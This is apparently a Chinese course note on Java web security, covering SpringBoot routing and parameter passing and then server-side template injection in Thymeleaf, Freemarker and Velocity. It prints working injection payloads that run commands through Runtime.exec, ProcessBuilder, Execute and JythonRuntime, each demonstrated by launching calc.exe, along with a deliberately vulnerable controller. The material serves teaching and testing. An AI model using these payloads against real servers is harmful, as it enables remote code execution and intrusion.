当前位置: 首页 > wzjs >正文

营销型网站服务武汉seo公司

营销型网站服务,武汉seo公司,网站建设 签约信息,晋江网站建设#知识点 1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参 2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity 一、开发框架-SpringBoot 参考:https://springdoc.cn/spring-boot/ 访问SpringBoot创建的网站 1、路由映射 RequestMapping…
#知识点

1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参

2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

一、开发框架-SpringBoot

参考:https://springdoc.cn/spring-boot/

访问SpringBoot创建的网站

1、路由映射

@RequestMapping @GetMapping@PostMapping等

访问路由地址

为get,post请求设置路由

 get请求

post请求

2、参数传递

@RequestParam

//GET请求并传递参数

//Post请求并传递参数

3、数据响应

@RestController @Controller

@RestController注解相当于@ResponseBody+@Controller合作用。

二、模版引擎->Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存为false

3、创建模版目录和文件,文件定义修改变量

创建模板文件文件index.html,并谷歌访问

4、新建Controller目录及文件,指定路由配置

访问

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller

public class IndexController {

@RequestMapping("/index")

public String index(Model model) {

//替换模版html文件中的data变量值

model.addAttribute("data", "你好 小迪");

//使用index模版文件

return "index";

}

@RequestMapping("/indexs")

public String index(Model model,@RequestParam String lang) {

//替换模版html文件中的data变量值

model.addAttribute("data", "Hello xiaodi");

//使用index+变量lang模版文件

return "index-"+lang;

}

}

访问英文

访问中文

利用条件:Thymeleaf漏洞版本,可控模版变量lang->可以控制调用哪个模板

Poc利用命令如下:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x->lang参数

三、Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Freemarker版本测试POC->特别注意:这个poc要放在渲染文件中才行->通过上面的username变量传参poc(不会引起poc执行)

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

利用条件:可控渲染的模版文件(其实就是该模板的功能上有漏洞,导致上面的poc放到文件里面可以执行RCE),不受该模板版本的影响

四、Velocity

参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

1、Velocity.evaluate

2、template.merge(ctx, out)

Poc利用:

%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本(出现在特点的版本),可控模版变量或文件,如上面的username参数可控

http://www.dtcms.com/wzjs/412936.html

相关文章:

  • 网站开发属于无形资产吗百度竞价项目
  • 网站制作公司排行榜百度搜索首页
  • 国内新闻最新消息2022广东网络seo推广公司
  • 有服务器域名源码怎么做网站平台广告软文营销平台
  • 网站做百度收录的意义东莞搜索优化
  • 怎么办理公司网站seo的内容是什么
  • 门户网站信息流广告怎么做百度霸屏推广
  • 做网站前景网络营销案例
  • 手机网站前端开发布局技巧网页搜索关键字
  • 福建建设厅网站首页网络营销推广平台
  • 深圳做网站公司有哪些网站建设营销型
  • 怎么样在公司配置服务器做网站大数据精准营销系统
  • wordpress修改css样式表搜索引擎优化是免费的吗
  • 编程的网站常见的网络营销方法有哪些
  • 企业做个网站多少钱2022最新时事新闻及点评
  • delphi 做直播网站泰州百度公司代理商
  • 海南网站建设介绍市场营销推广策划方案
  • 如何用代码做分数查询的网站企业产品营销策划推广
  • 湖南建设信息网官网上海牛巨微seo
  • 成都专业做网站的公司有哪些杭州百度快照优化排名
  • html5移动端网站开发西地那非片的正确服用方法
  • vs2015 网站开发教程山东服务好的seo
  • 如何用域名做邮箱 网站html网页制作app
  • 一站式做网站系统百度网站快速优化
  • qq网站推广代码免费推广方法
  • 青岛市建设局网站停工网络推广违法吗
  • 公司做英文网站自动点击器软件
  • 深圳网站开关键词查询的分析网站
  • 网站建设中期检查表怎么写seo怎么推排名
  • 跨境网站有哪些平台百度电话怎么转人工